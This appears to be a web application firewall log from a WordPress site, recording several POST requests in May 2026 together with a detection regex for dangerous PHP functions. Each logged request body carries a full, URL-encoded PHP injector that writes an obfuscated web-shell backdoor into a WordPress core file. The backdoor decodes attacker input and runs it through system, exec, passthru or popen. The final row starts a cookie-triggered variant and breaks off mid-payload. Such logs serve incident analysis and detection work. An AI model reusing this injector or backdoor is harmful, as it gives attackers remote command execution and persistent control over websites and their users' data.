3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-length:5380\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDIbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nupgrade-insecure-requests:1\n\nAZ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-media-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor7%2520%253D%2520%2522p%255Cx63%255Cx6Cos%255Cx65%2522%253B%2520%2524task_processor5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524task_processor3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70a%255Cx73sthru%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor1%2520%253D%2520%2522sys%255Cx74%255Cx65%255Cx6D%2522%253B%2520%2524task_processor6%2520%253D%2520%2522str%255Cx65%255Cx61m_get_c%255Cx6Fn%255Cx74ents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68%255Cx65x%255Cx32%255Cx62in%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520mutex_lock%2520%2528%2520%2524factor%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524elem%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524h%253D0%253B%2520%2524h%253Cstrlen%2528%2524factor%2529%253B%2520%2524h%252B%252B%2529%257B%2520%2524elem.%253Dchr%2528ord%2528%2524factor%255B%2524h%255D%2529%255E%2524descriptor%2529%253B%2520%257D%2520return%2520%2524elem%253B%2520%257D%2520%2524component%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520mutex_lock%2528%2524component%252C%252059%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524component%252C%2520%2524pset_factor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pset_factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524descriptor_elem%2520%253D%2520%2524task_processor5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_elem%2529%2520%257B%2520%2524tkn_hld%2520%253D%2520%2524task_processor6%2528%2524descriptor_elem%2529%253B%2520%2524task_processor7%2528%2524descriptor_elem%2529%253B%2520print%2520%2524tkn_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:01:22","185.98.128.239","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Tk:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-media-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor7%2520%253D%2520%2522p%255Cx63%255Cx6Cos%255Cx65%2522%253B%2520%2524task_processor5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524task_processor3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70a%255Cx73sthru%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor1%2520%253D%2520%2522sys%255Cx74%255Cx65%255Cx6D%2522%253B%2520%2524task_processor6%2520%253D%2520%2522str%255Cx65%255Cx61m_get_c%255Cx6Fn%255Cx74ents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68%255Cx65x%255Cx32%255Cx62in%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520mutex_lock%2520%2528%2520%2524factor%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524elem%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524h%253D0%253B%2520%2524h%253Cstrlen%2528%2524factor%2529%253B%2520%2524h%252B%252B%2529%257B%2520%2524elem.%253Dchr%2528ord%2528%2524factor%255B%2524h%255D%2529%255E%2524descriptor%2529%253B%2520%257D%2520return%2520%2524elem%253B%2520%257D%2520%2524component%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520mutex_lock%2528%2524component%252C%252059%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524component%252C%2520%2524pset_factor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pset_factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524descriptor_elem%2520%253D%2520%2524task_processor5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_elem%2529%2520%257B%2520%2524tkn_hld%2520%253D%2520%2524task_processor6%2528%2524descriptor_elem%2529%253B%2520%2524task_processor7%2528%2524descriptor_elem%2529%253B%2520print%2520%2524tkn_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-length:5380\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvITfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Android\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nupgrade-insecure-requests:1\n\nTk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-media-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor7%2520%253D%2520%2522p%255Cx63%255Cx6Cos%255Cx65%2522%253B%2520%2524task_processor5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524task_processor3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70a%255Cx73sthru%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor1%2520%253D%2520%2522sys%255Cx74%255Cx65%255Cx6D%2522%253B%2520%2524task_processor6%2520%253D%2520%2522str%255Cx65%255Cx61m_get_c%255Cx6Fn%255Cx74ents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68%255Cx65x%255Cx32%255Cx62in%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520mutex_lock%2520%2528%2520%2524factor%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524elem%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524h%253D0%253B%2520%2524h%253Cstrlen%2528%2524factor%2529%253B%2520%2524h%252B%252B%2529%257B%2520%2524elem.%253Dchr%2528ord%2528%2524factor%255B%2524h%255D%2529%255E%2524descriptor%2529%253B%2520%257D%2520return%2520%2524elem%253B%2520%257D%2520%2524component%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520mutex_lock%2528%2524component%252C%252059%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524component%252C%2520%2524pset_factor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pset_factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524descriptor_elem%2520%253D%2520%2524task_processor5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_elem%2529%2520%257B%2520%2524tkn_hld%2520%253D%2520%2524task_processor6%2528%2524descriptor_elem%2529%253B%2520%2524task_processor7%2528%2524descriptor_elem%2529%253B%2520print%2520%2524tkn_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:01:25","208.181.135.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-media-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor7%2520%253D%2520%2522p%255Cx63%255Cx6Cos%255Cx65%2522%253B%2520%2524task_processor5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524task_processor3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70a%255Cx73sthru%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor1%2520%253D%2520%2522sys%255Cx74%255Cx65%255Cx6D%2522%253B%2520%2524task_processor6%2520%253D%2520%2522str%255Cx65%255Cx61m_get_c%255Cx6Fn%255Cx74ents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68%255Cx65x%255Cx32%255Cx62in%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520mutex_lock%2520%2528%2520%2524factor%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524elem%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524h%253D0%253B%2520%2524h%253Cstrlen%2528%2524factor%2529%253B%2520%2524h%252B%252B%2529%257B%2520%2524elem.%253Dchr%2528ord%2528%2524factor%255B%2524h%255D%2529%255E%2524descriptor%2529%253B%2520%257D%2520return%2520%2524elem%253B%2520%257D%2520%2524component%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520mutex_lock%2528%2524component%252C%252059%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524component%252C%2520%2524pset_factor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pset_factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524descriptor_elem%2520%253D%2520%2524task_processor5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_elem%2529%2520%257B%2520%2524tkn_hld%2520%253D%2520%2524task_processor6%2528%2524descriptor_elem%2529%253B%2520%2524task_processor7%2528%2524descriptor_elem%2529%253B%2520print%2520%2524tkn_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\ncontent-length:5403\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\naccept:*\/*\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-media-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor7%2520%253D%2520%2522p%255Cx63%255Cx6Cos%255Cx65%2522%253B%2520%2524task_processor5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524task_processor3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70a%255Cx73sthru%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor1%2520%253D%2520%2522sys%255Cx74%255Cx65%255Cx6D%2522%253B%2520%2524task_processor6%2520%253D%2520%2522str%255Cx65%255Cx61m_get_c%255Cx6Fn%255Cx74ents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68%255Cx65x%255Cx32%255Cx62in%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520mutex_lock%2520%2528%2520%2524factor%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524elem%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524h%253D0%253B%2520%2524h%253Cstrlen%2528%2524factor%2529%253B%2520%2524h%252B%252B%2529%257B%2520%2524elem.%253Dchr%2528ord%2528%2524factor%255B%2524h%255D%2529%255E%2524descriptor%2529%253B%2520%257D%2520return%2520%2524elem%253B%2520%257D%2520%2524component%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520mutex_lock%2528%2524component%252C%252059%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524component%252C%2520%2524pset_factor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pset_factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524descriptor_elem%2520%253D%2520%2524task_processor5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_elem%2529%2520%257B%2520%2524tkn_hld%2520%253D%2520%2524task_processor6%2528%2524descriptor_elem%2529%253B%2520%2524task_processor7%2528%2524descriptor_elem%2529%253B%2520print%2520%2524tkn_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 23:01:52","101.100.3.213","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qk:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%